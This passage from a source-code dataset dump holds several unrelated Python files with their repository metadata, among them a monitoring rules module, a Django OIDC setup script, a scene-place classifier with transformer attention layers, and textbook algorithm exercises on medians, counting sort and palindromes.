self.__class__.__name__)) class NoDataRule(MachineMetricRule): _controller_cls = NoDataRuleController @property def _backend_plugin(self): if config.DEFAULT_MONITORING_METHOD.endswith('-graphite'): return GraphiteNoDataPlugin if config.DEFAULT_MONITORING_METHOD.endswith('-influxdb'): return InfluxDBNoDataPlugin if config.DEFAULT_MONITORING_METHOD.endswith('-tsfdb'): return FoundationDBNoDataPlugin if config.DEFAULT_MONITORING_METHOD.endswith('-victoriametrics'): return VictoriaMetricsNoDataPlugin raise Exception() # FIXME All following properties are for backwards compatibility. # However, this rule is not meant to match any queries, but to be # used internally, thus the `None`s. @property def metric(self): return None @property def operator(self): return None @property def value(self): return None @property def aggregate(self): return None @property def reminder_offset(self): return None @property def action(self): return '' class ResourceLogsRule(ResourceRule): _data_type_str = 'logs' _backend_plugin = ElasticSearchBackendPlugin class ArbitraryLogsRule(ArbitraryRule): _data_type_str = 'logs' _backend_plugin = ElasticSearchBackendPlugin def _populate_rules(): """Populate RULES with mappings from rule type to rule subclass. RULES is a mapping (dict) from rule types to subclasses of Rule. A rule's type is the concat of two strings: <str1>-<str2>, where str1 denotes whether the rule is arbitrary or not and str2 equals the `_data_type_str` class attribute of the rule, which is simply the type of the requesting data, like logs or monitoring metrics. The aforementioned concatenation is simply a way to categorize a rule, such as saying a rule on arbitrary logs or a resource-bound rule referring to the monitoring data of machine A. """ public_rule_map = {} hidden_rule_cls = (ArbitraryRule, ResourceRule, NoDataRule, ) for key, value in list(globals().items()): if not key.endswith('Rule'): continue if value in hidden_rule_cls: continue if not issubclass(value, (ArbitraryRule, ResourceRule, )): continue str1 = 'resource' if issubclass(value, ResourceRule) else 'arbitrary' rule_key = '%s-%s' % (str1, value._data_type_str) public_rule_map[rule_key] = value return public_rule_map RULES = _populate_rules()

35.155102

79

0.673981

14,731

0.855161

0

4,875

0.283002

0

7,951

0.46157

428d613a4c439197af5e225dec64ebdd98da7d00

1,685

py

Python

setup.py

andrewwhitehead/django-oidc-rp

233f1daeef96dbe84ecbb37fa31393c84f9c2805

[ "MIT" ]

20

2018-04-16T13:17:35.000Z

2021-06-05T00:08:33.000Z

setup.py

andrewwhitehead/django-oidc-rp

233f1daeef96dbe84ecbb37fa31393c84f9c2805

[ "MIT" ]

9

2018-07-20T18:19:13.000Z

2021-12-22T08:57:18.000Z

setup.py

bcgov/django-oidc-rp

50e6fa143e61b04849b4c66beef078be0d7669de

[ "MIT" ]

21

2018-07-10T16:05:44.000Z

2022-01-24T05:57:09.000Z

# -*- coding: utf-8 -*- import codecs from os.path import abspath from os.path import dirname from os.path import join from setuptools import find_packages from setuptools import setup import oidc_rp def read_relative_file(filename): """ Returns contents of the given file, whose path is supposed relative to this module. """ with codecs.open(join(dirname(abspath(__file__)), filename), encoding='utf-8') as f: return f.read() setup( name='django-oidc-rp', version=oidc_rp.__version__, author='impak Finance', author_email='tech@impakfinance.com', packages=find_packages(exclude=['tests.*', 'tests']), include_package_data=True, url='https://github.com/impak-finance/django-oidc-rp', license='MIT', description='A server side OpenID Connect Relying Party (RP/Client) implementation for Django.', long_description=read_relative_file('README.rst'), keywords='django openidconnect oidc client rp authentication auth', zip_safe=False, install_requires=[ 'django>=1.11', 'jsonfield2', 'pyjwkest>=1.4', 'requests>2.0', ], classifiers=[ 'Development Status :: 4 - Beta', 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', ], )

31.792453

100

0.648071

0

864

0.51276

428e0c3390f490eb7e09d675c22baad9bedb5ba6

171

py

Python

nndet/evaluator/detection/__init__.py

joeranbosma/nnDetection

2ebbf1cdc8a8794c73e325f06fea50632c78ae8c

[ "BSD-3-Clause" ]

242

2021-05-17T12:31:39.000Z

2022-03-31T11:51:29.000Z

nndet/evaluator/detection/__init__.py

joeranbosma/nnDetection

2ebbf1cdc8a8794c73e325f06fea50632c78ae8c

[ "BSD-3-Clause" ]

59

2021-06-02T07:32:10.000Z

2022-03-31T18:45:52.000Z

nndet/evaluator/detection/__init__.py

joeranbosma/nnDetection

2ebbf1cdc8a8794c73e325f06fea50632c78ae8c

[ "BSD-3-Clause" ]

38

2021-05-31T14:01:37.000Z

2022-03-21T08:24:40.000Z

from nndet.evaluator.detection.froc import FROCMetric from nndet.evaluator.detection.coco import COCOMetric from nndet.evaluator.detection.hist import PredictionHistogram

42.75

62

0.877193

0

428e40b791a018156767a64f9f6283399ebd2b1c

289

py

Python

tests/test_update.py

sosie-js/ankisync2

a41580197eab7f180f02a38a4aa912eb54cfaa93

[ "MIT" ]

39

2020-02-12T23:41:24.000Z

2022-02-28T15:46:23.000Z

tests/test_update.py

sosie-js/ankisync2

a41580197eab7f180f02a38a4aa912eb54cfaa93

[ "MIT" ]

9

2019-08-02T18:25:07.000Z

2022-02-07T23:14:43.000Z

tests/test_update.py

sosie-js/ankisync2

a41580197eab7f180f02a38a4aa912eb54cfaa93

[ "MIT" ]

6

2019-09-09T14:27:48.000Z

2021-08-31T08:13:00.000Z

# from ankisync2.apkg import Apkg, db # Has to be done through normal database methods # def test_update(): # apkg = Apkg("example1.apkg") # for n in db.Notes.filter(db.Notes.data["field1"] == "data1"): # n.data["field3"] = "data2" # n.save() # apkg.close()

24.083333

67

0.598616

0

278

0.961938

428eac96b1905cf94fc5b1f167e60c8c46762f48

16,931

py

Python

lib/place_model.py

ihaeyong/drama-graph

60c3c216cd74bb19efd6baf836f6c7c2b42b764f

[ "MIT" ]

3

2021-04-28T07:19:39.000Z

2022-03-07T09:34:19.000Z

lib/place_model.py

ihaeyong/drama-graph

60c3c216cd74bb19efd6baf836f6c7c2b42b764f

[ "MIT" ]

18

2020-08-24T12:40:38.000Z

2022-03-12T00:47:14.000Z

lib/place_model.py

ihaeyong/drama-graph

60c3c216cd74bb19efd6baf836f6c7c2b42b764f

[ "MIT" ]

1

2020-10-15T10:09:20.000Z

import torch import torch.nn as nn from torchvision.datasets.vision import VisionDataset from PIL import Image import os, sys, math import os.path import torch import json import torch.utils.model_zoo as model_zoo from Yolo_v2_pytorch.src.utils import * from Yolo_v2_pytorch.src.yolo_net import Yolo from Yolo_v2_pytorch.src.yolo_tunning import YoloD import numpy as np import torch.nn.functional as F from Yolo_v2_pytorch.src.rois_utils import anchorboxes from Yolo_v2_pytorch.src.anotherMissOh_dataset import FaceCLS from lib.person_model import person_model label_dict = {'' : 9, 'beach':0, 'cafe':1, 'car':2, 'convenience store':3, 'garden':4, 'home':5, 'hospital':6, 'kitchen':7, 'livingroom':8, 'none':9, 'office':10, 'park':11, 'playground':12, 'pub':13, 'restaurant':14, 'riverside':15, 'road':16, 'rooftop':17, 'room':18, 'studio':19, 'toilet':20, 'wedding hall':21 } label_dict_wo_none = {'beach':0, 'cafe':1, 'car':2, 'convenience store':3, 'garden':4, 'home':5, 'hospital':6, 'kitchen':7, 'livingroom':8, 'none':9, 'office':10, 'park':11, 'playground':12, 'pub':13, 'restaurant':14, 'riverside':15, 'road':16, 'rooftop':17, 'room':18, 'studio':19, 'toilet':20, 'wedding hall':21 } def label_mapping(target): temp = [] for idx in range(len(target)): if target[idx][0][:3] == 'con': target[idx][0] = 'convenience store' temp.append(label_dict[target[idx][0]]) return temp def label_remapping(target): inv_label_dict = {v: k for k, v in label_dict_wo_none.items()} temp = [] for idx in range(len(target)): temp.append(inv_label_dict[target[idx]]) return temp def conv3x3(in_planes, out_planes, stride=1): """3x3 convolution with padding""" return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=1, bias=False) def accuracy(output, target, topk=(1,)): """Computes the accuracy over the k top predictions for the specified values of k""" with torch.no_grad(): maxk = max(topk) batch_size = target.size(0) _, pred = output.topk(maxk, 1, True, True) pred = pred.t() correct = pred.eq(target.view(1, -1).expand_as(pred)) res = [] for k in topk: correct_k = correct[:k].view(-1).float().sum(0, keepdim=True) res.append(correct_k.mul_(100.0 / batch_size)) return res def place_buffer(images_norm, buffer_images): if len(buffer_images) == 0: buffer_images = images_norm if len(buffer_images) < 10: for idx in range(10-len(buffer_images)): buffer_images = [images_norm[0]] + buffer_images assert len(buffer_images) == 10, 'Buffer failed' return buffer_images class AverageMeter(object): def __init__(self, name, fmt=':f'): self.name = name self.fmt = fmt self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count def __str__(self): fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})' return fmtstr.format(**self.__dict__) class ProgressMeter(object): def __init__(self, num_batches, meters, prefix=""): self.batch_fmtstr = self._get_batch_fmtstr(num_batches) self.meters = meters self.prefix = prefix def display(self, batch): entries = [self.prefix + self.batch_fmtstr.format(batch)] entries += [str(meter) for meter in self.meters] print('\t'.join(entries)) def _get_batch_fmtstr(self, num_batches): num_digits = len(str(num_batches // 1)) fmt = '{:' + str(num_digits) + 'd}' return '[' + fmt + '/' + fmt.format(num_batches) + ']' sample_default = [105, 462, 953, 144, 108, 13, 123, 510, 1690, 19914, 1541, 126, 67, 592, 1010, 53, 2087, 0, 1547, 576, 74, 0] def CB_loss(labels, logits, beta=0.99, gamma=0.5, samples_per_cls=sample_default, no_of_classes=22, loss_type='softmax'): """Compute the Class Balanced Loss between `logits` and the ground truth `labels`. Class Balanced Loss: ((1-beta)/(1-beta^n))*Loss(labels, logits) where Loss is one of the standard losses used for Neural Networks. Args: labels: A int tensor of size [batch]. logits: A float tensor of size [batch, no_of_classes]. samples_per_cls: A python list of size [no_of_classes]. no_of_classes: total number of classes. int loss_type: string. One of "sigmoid", "focal", "softmax". beta: float. Hyperparameter for Class balanced loss. gamma: float. Hyperparameter for Focal loss. Returns: cb_loss: A float tensor representing class balanced loss """ effective_num = 1.0 - np.power(beta, samples_per_cls) weights = (1.0 - beta) / np.array(effective_num) weights = weights / np.sum(weights) * no_of_classes labels_one_hot = F.one_hot(labels, no_of_classes).cpu().float() weights = torch.tensor(weights).float() weights = weights.unsqueeze(0) weights = weights.repeat(labels_one_hot.shape[0],1) * labels_one_hot weights = weights.sum(1) weights = weights.unsqueeze(1) weights = weights.repeat(1,no_of_classes) if loss_type == "focal": cb_loss = focal_loss(labels_one_hot.cuda(), logits, weights.cuda(), gamma) elif loss_type == "sigmoid": cb_loss = F.binary_cross_entropy_with_logits(input = logits,target = labels_one_hot, weights = weights) elif loss_type == "softmax": pred = logits.softmax(dim = 1) cb_loss = F.binary_cross_entropy(input = pred, target = labels_one_hot.cuda(), weight = weights.cuda()) return cb_loss def focal_loss(labels, logits, alpha, gamma): """Compute the focal loss between `logits` and the ground truth `labels`. Focal loss = -alpha_t * (1-pt)^gamma * log(pt) where pt is the probability of being classified to the true class. pt = p (if true class), otherwise pt = 1 - p. p = sigmoid(logit). Args: labels: A float tensor of size [batch, num_classes]. logits: A float tensor of size [batch, num_classes]. alpha: A float tensor of size [batch_size] specifying per-example weight for balanced cross entropy. gamma: A float scalar modulating loss from hard and easy examples. Returns: focal_loss: A float32 scalar representing normalized total loss. """ BCLoss = F.binary_cross_entropy_with_logits(input = logits, target = labels,reduction = "none") if gamma == 0.0: modulator = 1.0 else: modulator = torch.exp(-gamma * labels * logits - gamma * torch.log(1 + torch.exp(-1.0 * logits))) loss = modulator * BCLoss weighted_loss = alpha * loss focal_loss = torch.sum(weighted_loss) focal_loss /= torch.sum(labels) return focal_loss class place_model(nn.Module): def __init__(self, num_persons, num_faces, device): super(place_model, self).__init__() pre_model = Yolo(num_persons).cuda(device) num_face_cls = num_faces self.detector = YoloD(pre_model).cuda(device) self.place_conv = nn.Sequential(nn.Conv2d(1024, 128, 3, 1, 1, bias=False), nn.BatchNorm2d(128), nn.LeakyReLU(0.1, inplace=True), nn.MaxPool2d(2, 2)) self.avgpool = nn.AvgPool2d(7, stride=1) # self.lstm_sc = torch.nn.LSTM(input_size=128, hidden_size=128, num_layers=2, batch_first=True) # self.bert_fc1 = torch.nn.Linear(128, 768) # self.bert_fc2 = torch.nn.Linear(768, 128) self.bert = BERT() self.fc2 = torch.nn.Linear(128, 1) self.fc3 = torch.nn.Linear(128, 22) self.softmax = torch.nn.Softmax(dim=1) # # define face # self.face_conv = nn.Conv2d( # 1024, len(self.detector.anchors) * (5 + num_face_cls), 1, 1, 0, bias=False) def forward(self, image): N, T , C, H, W = image.size(0), image.size(1), image.size(2), image.size(3), image.size(4) image = image.reshape(N*T, C, H, W) # feature map of backbone fmap, output_1 = self.detector(image) fmap = self.place_conv(fmap) x = self.avgpool(fmap) x = x.reshape(N, T, -1) # self.lstm_sc.flatten_parameters() # N, T = x.size(0), x.size(1) # x = self.lstm_sc(x)[0] # x = self.bert_fc1(x) x = self.bert(x) # x = self.bert_fc2(x) change = x.reshape(N*T, -1) #x = self.fc1(x) change = self.fc2(change) change = change.reshape(N, T) #x = x.reshape(N*T, -1) M, _ = change.max(1) w = change - M.view(-1,1) w = w.exp() w = w.unsqueeze(1).expand(-1,w.size(1),-1) w = w.triu(1) - w.tril() w = w.cumsum(2) w = w - w.diagonal(dim1=1,dim2=2).unsqueeze(2) ww = w.new_empty(w.size()) idx = M>=0 ww[idx] = w[idx] + M[idx].neg().exp().view(-1,1,1) idx = ~idx ww[idx] = M[idx].exp().view(-1,1,1)*w[idx] + 1 ww = (ww+1e-10).pow(-1) ww = ww/ww.sum(1,True) x = ww.transpose(1,2).bmm(x) x = x.reshape(N*T, -1) x = self.fc3(x) x = x.reshape(N*T, -1) return x class BERT(nn.Module): """ BERT model : Bidirectional Encoder Representations from Transformers. """ def __init__(self, vocab_size=0, hidden=128, n_layers=5, attn_heads=8, dropout=0.): """ :param vocab_size: vocab_size of total words :param hidden: BERT model hidden size :param n_layers: numbers of Transformer blocks(layers) :param attn_heads: number of attention heads :param dropout: dropout rate """ super(BERT, self).__init__() self.hidden = hidden self.n_layers = n_layers self.attn_heads = attn_heads # paper noted they used 4*hidden_size for ff_network_hidden_size self.feed_forward_hidden = hidden * 4 # embedding for BERT, sum of positional, segment, token embeddings self.embedding = BERTEmbedding(vocab_size=vocab_size, embed_size=hidden) # multi-layers transformer blocks, deep network self.transformer_blocks = nn.ModuleList( [TransformerBlock(hidden, attn_heads, hidden * 4, dropout) for _ in range(n_layers)]) def forward(self, x): # attention masking for padded token # torch.ByteTensor([batch_size, 1, seq_len, seq_len]) # mask = (x > 0).unsqueeze(1).repeat(1, x.size(1), 1).unsqueeze(1) # embedding the indexed sequence to sequence of vectors x = self.embedding(x) # running over multiple transformer blocks for transformer in self.transformer_blocks: # x = transformer.forward(x, mask) x = transformer.forward(x, None) return x class BERTEmbedding(nn.Module): """ BERT Embedding which is consisted with under features 1. TokenEmbedding : normal embedding matrix 2. PositionalEmbedding : adding positional information using sin, cos 2. SegmentEmbedding : adding sentence segment info, (sent_A:1, sent_B:2) sum of all these features are output of BERTEmbedding """ def __init__(self, vocab_size, embed_size, dropout=0.): """ :param vocab_size: total vocab size :param embed_size: embedding size of token embedding :param dropout: dropout rate """ super(BERTEmbedding, self).__init__() # self.token = TokenEmbedding(vocab_size=vocab_size, embed_size=embed_size) # self.position = PositionalEmbedding(d_model=self.token.embedding_dim) # self.segment = SegmentEmbedding(embed_size=self.token.embedding_dim) self.position = PositionalEmbedding(d_model=embed_size) self.dropout = nn.Dropout(p=dropout) self.embed_size = embed_size def forward(self, sequence): # x = self.token(sequence) + self.position(sequence) + self.segment(segment_label) x = sequence + self.position(sequence) return self.dropout(x) class PositionalEmbedding(nn.Module): def __init__(self, d_model, max_len=512): super(PositionalEmbedding, self).__init__() # Compute the positional encodings once in log space. pe = torch.zeros(max_len, d_model).float() pe.require_grad = False position = torch.arange(0, max_len).float().unsqueeze(1) div_term = (torch.arange(0, d_model, 2).float() * -(math.log(10000.0) / d_model)).exp() pe[:, 0::2] = torch.sin(position * div_term) pe[:, 1::2] = torch.cos(position * div_term) pe = pe.unsqueeze(0) self.register_buffer('pe', pe) def forward(self, x): return self.pe[:, :x.size(1)] class TransformerBlock(nn.Module): """ Bidirectional Encoder = Transformer (self-attention) Transformer = MultiHead_Attention + Feed_Forward with sublayer connection """ def __init__(self, hidden, attn_heads, feed_forward_hidden, dropout): """ :param hidden: hidden size of transformer :param attn_heads: head sizes of multi-head attention :param feed_forward_hidden: feed_forward_hidden, usually 4*hidden_size :param dropout: dropout rate """ super(TransformerBlock, self).__init__() self.attention = MultiHeadedAttention(h=attn_heads, d_model=hidden) self.feed_forward = PositionwiseFeedForward(d_model=hidden, d_ff=feed_forward_hidden, dropout=dropout) self.input_sublayer = SublayerConnection(size=hidden, dropout=dropout) self.output_sublayer = SublayerConnection(size=hidden, dropout=dropout) self.dropout = nn.Dropout(p=dropout) def forward(self, x, mask): x = self.input_sublayer(x, lambda _x: self.attention.forward(_x, _x, _x, mask=mask)) x = self.output_sublayer(x, self.feed_forward) return self.dropout(x) class MultiHeadedAttention(nn.Module): """ Take in model size and number of heads. """ def __init__(self, h, d_model, dropout=0.1): super(MultiHeadedAttention, self).__init__() assert d_model % h == 0 # We assume d_v always equals d_k self.d_k = d_model // h self.h = h self.linear_layers = nn.ModuleList([nn.Linear(d_model, d_model) for _ in range(3)]) self.output_linear = nn.Linear(d_model, d_model) self.attention = Attention() self.dropout = nn.Dropout(p=dropout) def forward(self, query, key, value, mask=None): batch_size = query.size(0) # 1) Do all the linear projections in batch from d_model => h x d_k query, key, value = [l(x).view(batch_size, -1, self.h, self.d_k).transpose(1, 2) for l, x in zip(self.linear_layers, (query, key, value))] # 2) Apply attention on all the projected vectors in batch. x, attn = self.attention(query, key, value, mask=mask, dropout=self.dropout) # 3) "Concat" using a view and apply a final linear. x = x.transpose(1, 2).contiguous().view(batch_size, -1, self.h * self.d_k) return self.output_linear(x) class Attention(nn.Module): """ Compute 'Scaled Dot Product Attention' """ def __init__(self): super(Attention, self).__init__() def forward(self, query, key, value, mask=None, dropout=None): scores = torch.matmul(query, key.transpose(-2, -1))/math.sqrt(query.size(-1)) if mask is not None: scores = scores.masked_fill(mask == 0, -1e9) p_attn = F.softmax(scores, dim=-1) if dropout is not None: p_attn = dropout(p_attn) return torch.matmul(p_attn, value), p_attn class PositionwiseFeedForward(nn.Module): "Implements FFN equation." def __init__(self, d_model, d_ff, dropout=0.1): super(PositionwiseFeedForward, self).__init__() self.w_1 = nn.Linear(d_model, d_ff) self.w_2 = nn.Linear(d_ff, d_model) self.dropout = nn.Dropout(dropout) #self.activation = nn.GELU() self.activation = nn.ReLU() def forward(self, x): return self.w_2(self.dropout(self.activation(self.w_1(x)))) class SublayerConnection(nn.Module): """ A residual connection followed by a layer norm. Note for code simplicity the norm is first as opposed to last. """ def __init__(self, size, dropout): super(SublayerConnection, self).__init__() self.norm = nn.LayerNorm(size) self.dropout = nn.Dropout(dropout) def forward(self, x, sublayer): "Apply residual connection to any sublayer with the same size." return x + self.dropout(sublayer(self.norm(x)))

36.647186

126

0.631268

11,071

0.653889

0

5,143

0.303762

428f4631d1d991fd823deb6aae84c7555b191363

9,127

py

Python

ch01/challenge.py

laszlokiraly/LearningAlgorithms

032a3cc409546619cf41220821d081cde54bbcce

[ "MIT" ]

null

ch01/challenge.py

laszlokiraly/LearningAlgorithms

032a3cc409546619cf41220821d081cde54bbcce

[ "MIT" ]

null

ch01/challenge.py

laszlokiraly/LearningAlgorithms

032a3cc409546619cf41220821d081cde54bbcce

[ "MIT" ]

null

""" Challenge Exercises for Chapter 1. """ import random import timeit from algs.table import DataTable, ExerciseNum, caption from algs.counting import RecordedItem def partition(A, lo, hi, idx): """ Partition using A[idx] as value. Note lo and hi are INCLUSIVE on both ends and idx must be valid index. Count the number of comparisons by populating A with RecordedItem instances. """ if lo == hi: return lo A[idx],A[lo] = A[lo],A[idx] # swap into position i = lo j = hi + 1 while True: while True: i += 1 if i == hi: break if A[lo] < A[i]: break while True: j -= 1 if j == lo: break if A[j] < A[lo]: break # doesn't count as comparing two values if i >= j: break A[i],A[j] = A[j],A[i] A[lo],A[j] = A[j],A[lo] return j def linear_median(A): """ Efficient implementation that returns median value in arbitrary list, assuming A has an odd number of values. Note this algorithm will rearrange values in A. """ # if len(A) % 2 == 0: # raise ValueError('linear_median() only coded to work with odd number of values.') lo = 0 hi = len(A) - 1 mid = hi // 2 while lo < hi: idx = random.randint(lo, hi) # select valid index randomly j = partition(A, lo, hi, idx) if j == mid: return A[j] if j < mid: lo = j+1 else: hi = j-1 return A[lo] def median_from_sorted_list(A): sorted_A = sorted(A) len_A = len(A) if len_A % 2 == 0: return (sorted_A[(len_A//2) - 1] + sorted_A[len_A//2]) / 2 else: return sorted_A[len_A//2] def counting_sort(A, M): """ Update A in place to be sorted in ascending order if all elements are guaranteed to be in the range 0 to and not including M. """ counts = [0] * M for v in A: counts[v] += 1 pos = 0 v = 0 while pos < len(A): for idx in range(counts[v]): A[pos+idx] = v pos += counts[v] v += 1 def counting_sort_improved(A,M): """ Update A in place to be sorted in ascending order if all elements are guaranteed to be in the range 0 to and not including M. """ counts = [0] * M for val in A: counts[val] += 1 pos = 0 val = 0 while pos < len(A): if counts[val] > 0: A[pos:pos+counts[val]] = [val] * counts[val] pos += counts[val] val += 1 def run_counting_sort_trials(max_k=15, output=True): """Generate table for counting sort up to (but not including) max_k=15.""" tbl = DataTable([8,15,15], ['N', 'counting_sort', 'counting_sort_improved'], output=output) M = 20 # arbitrary value, and results are dependent on this value. trials = [2**k for k in range(8, max_k)] for n in trials: t_cs = min(timeit.repeat(stmt='counting_sort(a,{})\nis_sorted(a)'.format(M), setup=''' import random from ch01.challenge import counting_sort from algs.sorting import is_sorted w = [{0}-1] * {1} b = [0] * {1} a = list(range({0})) * {1} random.shuffle(a)'''.format(M,n), repeat=100, number=1)) t_csi = min(timeit.repeat(stmt='counting_sort_improved(a,{})\nis_sorted(a)'.format(M), setup=''' import random from ch01.challenge import counting_sort_improved from algs.sorting import is_sorted w = [{0}-1] * {1} b = [0] * {1} a = list(range({0})) * {1} random.shuffle(a)'''.format(M,n), repeat=100, number=1)) tbl.row([n, t_cs, t_csi]) return tbl def run_median_trial(): """Generate table for Median Trial.""" tbl = DataTable([10,15,15],['N', 'median_time', 'sort_median']) trials = [2**k+1 for k in range(8,20)] for n in trials: t_med = 1000*min(timeit.repeat(stmt='assert(linear_median(a) == {}//2)'.format(n), setup=''' import random from ch01.challenge import linear_median a = list(range({})) random.shuffle(a) '''.format(n), repeat=10, number=5))/5 t_sort = 1000*min(timeit.repeat(stmt='assert(median_from_sorted_list(a) == {0}//2)'.format(n), setup=''' import random from ch01.challenge import median_from_sorted_list a = list(range({})) random.shuffle(a) '''.format(n), repeat=10, number=5))/5 tbl.row([n, t_med, t_sort]) return tbl def run_median_less_than_trial(max_k=20, output=True): """Use RecordedItem to count # of times Less-than invoked up to (but not including) max_k=20.""" tbl = DataTable([10,15,15],['N', 'median_count', 'sort_median_count'], output=output) tbl.format('median_count', ',d') tbl.format('sort_median_count', ',d') trials = [2**k+1 for k in range(8, max_k)] for n in trials: A = list([RecordedItem(i) for i in range(n)]) random.shuffle(A) # Generated external sorted to reuse list RecordedItem.clear() med2 = median_from_sorted_list(A) sort_lt = RecordedItem.report()[1] RecordedItem.clear() med1 = linear_median(A) lin_lt = RecordedItem.report()[1] assert med1 == med2 tbl.row([n, lin_lt, sort_lt]) return tbl def is_palindrome1(w): """Create slice with negative step and confirm equality with w.""" return w[::-1] == w def is_palindrome2(w): """Strip outermost characters if same, return false when mismatch.""" while len(w) > 1: if w[0] != w[-1]: # if mismatch, return False return False w = w[1:-1] # strip characters on either end; repeat return True # must have been a Palindrome def is_palindrome3(w): """iterate from start and from end and compare, without copying arrays""" for i in range(0,round(len(w)/2)): if w[i] != w[-(i+1)]: return False return True # must have been a Palindrome def is_palindrome_letters_only(s): """ Confirm Palindrome, even when string contains non-alphabet letters and ignore capitalization. casefold() method, which was introduced in Python 3.3, could be used instead of this older method, which converts to lower(). """ i = 0 j = hi = len(s) - 1 while i < j: # This type of logic appears in partition. # Find alpha characters and compare while not s[i].isalpha(): i += 1 if i == hi: break while not s[j].isalpha(): j -= 1 if j == 0: break if s[i].lower() != s[j].lower(): return False i += 1 j -= 1 return True def tournament_allows_odd(A): """ Returns two largest values in A. Works for odd lists """ from ch01.largest_two import Match if len(A) < 2: raise ValueError('Must have at least two values') tourn = [] for i in range(0, len(A)-1, 2): tourn.append(Match(A[i], A[i+1])) odd_one_out = None if len(A) % 2 == 1: odd_one_out = A[-1] while len(tourn) > 1: tourn.append(Match.advance(tourn[0], tourn[1])) del tourn[0:2] # Find where second is hiding! m = tourn[0] largest = m.larger second = m.smaller # Wait until the end, and see where it belongs if odd_one_out: if odd_one_out > largest: largest,second = odd_one_out,largest elif odd_one_out > second: second = odd_one_out while m.prior: m = m.prior if second < m.smaller: second = m.smaller return (largest,second) def two_largest_attempt(A): """Failed attempt to implement two largest.""" m1 = max(A[:len(A)//2]) m2 = max(A[len(A)//2:]) if m1 < m2: return (m2, m1) return (m1, m2) ####################################################################### if __name__ == '__main__': chapter = 1 with ExerciseNum(1) as exercise_number: sample = 'A man, a plan, a canal. Panama!' print(sample,'is a palindrome:', is_palindrome_letters_only(sample)) print(caption(chapter, exercise_number), 'Palindrome Detector') with ExerciseNum(2) as exercise_number: run_median_less_than_trial() print() run_median_trial() print(caption(chapter, exercise_number), 'Median Counting') with ExerciseNum(3) as exercise_number: run_counting_sort_trials() print(caption(chapter, exercise_number), 'Counting Sort Trials') with ExerciseNum(4) as exercise_number: print('see tournament_allows_odd in ch01.challenge') print(caption(chapter, exercise_number), 'Odd tournament') with ExerciseNum(5) as exercise_number: print('Should print (9, 8)', two_largest_attempt([9, 3, 5, 7, 8, 1])) print('Fails to print (9, 8)', two_largest_attempt([9, 8, 5, 7, 3, 1])) print(caption(chapter, exercise_number), 'Failed Two largest')

29.066879

102

0.573573

0

3,300

0.361565

428f6c9308ecfc2aebd2c05427a3eb4c4bcb191b

522

py

Python

exaslct_src/lib/data/dependency_collector/dependency_image_info_collector.py

mace84/script-languages

d586cbe212bbb4efbfb39e095183729c65489360

[ "MIT" ]

null

exaslct_src/lib/data/dependency_collector/dependency_image_info_collector.py

mace84/script-languages

d586cbe212bbb4efbfb39e095183729c65489360

[ "MIT" ]

1

2019-05-06T07:36:11.000Z

exaslct_src/lib/data/dependency_collector/dependency_image_info_collector.py

mace84/script-languages

d586cbe212bbb4efbfb39e095183729c65489360

[ "MIT" ]

1

2019-05-03T08:49:29.000Z

from typing import Dict from exaslct_src.lib.data.image_info import ImageInfo from exaslct_src.lib.data.dependency_collector.dependency_collector import DependencyInfoCollector class DependencyImageInfoCollector(DependencyInfoCollector[ImageInfo]): def is_info(self, input): return isinstance(input, Dict) and IMAGE_INFO in input def read_info(self, value) -> ImageInfo: with value[IMAGE_INFO].open("r") as file: return ImageInfo.from_json(file.read()) IMAGE_INFO = "image_info"

29

98

0.764368

313

0.599617

0

15

0.028736

42914f6fbdf21a73ae8be4659f5689614360b711

3,131

py

Python

tensorflow_transform/test_case_test.py

LaudateCorpus1/transform

afee306046b8f656355b0170793ee64423f30e23

[ "Apache-2.0" ]

970

2017-02-10T04:33:46.000Z

2022-03-26T08:11:20.000Z

tensorflow_transform/test_case_test.py

LaudateCorpus1/transform

afee306046b8f656355b0170793ee64423f30e23

[ "Apache-2.0" ]

216

2017-02-23T04:50:59.000Z

2022-03-31T13:52:57.000Z

tensorflow_transform/test_case_test.py

LaudateCorpus1/transform

afee306046b8f656355b0170793ee64423f30e23

[ "Apache-2.0" ]

238

2017-02-17T16:30:55.000Z

2022-03-03T20:10:25.000Z

# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for tensorflow_transform.test_case.""" import re from tensorflow_transform import test_case import unittest class TftUnitTest(test_case.TransformTestCase): def testCrossNamedParameters(self): test_cases_1 = [ {'testcase_name': 'a_1_b_1', 'a': 1, 'b': 1}, {'testcase_name': 'a_3_b_3', 'a': 3, 'b': 3}, ] test_cases_2 = [ {'testcase_name': 'c_2', 'c': 2}, {'testcase_name': 'c_4', 'c': 4}, ] expected_cross = [ {'testcase_name': 'a_1_b_1_c_2', 'a': 1, 'b': 1, 'c': 2}, {'testcase_name': 'a_1_b_1_c_4', 'a': 1, 'b': 1, 'c': 4}, {'testcase_name': 'a_3_b_3_c_2', 'a': 3, 'b': 3, 'c': 2}, {'testcase_name': 'a_3_b_3_c_4', 'a': 3, 'b': 3, 'c': 4}, ] self.assertEqual( test_case.cross_named_parameters(test_cases_1, test_cases_2), expected_cross) def testCrossParameters(self): test_cases_1 = [('a', 1), ('b', 2)] test_cases_2 = [(True,), (False,)] expected_cross = [ ('a', 1, True), ('b', 2, True), ('a', 1, False), ('b', 2, False), ] self.assertCountEqual( test_case.cross_parameters(test_cases_1, test_cases_2), expected_cross) def testAssertDataCloseOrEqual(self): self.assertDataCloseOrEqual([{'a': 'first', 'b': 1.0, 'c': 5, 'd': ('second', 2.0)}, {'e': 2, 'f': 3}], [{'a': 'first', 'b': 1.0000001, 'c': 5, 'd': ('second', 2.0000001)}, {'e': 2, 'f': 3}]) with self.assertRaisesRegexp(AssertionError, r'len$.*$ != len$\[\]$'): 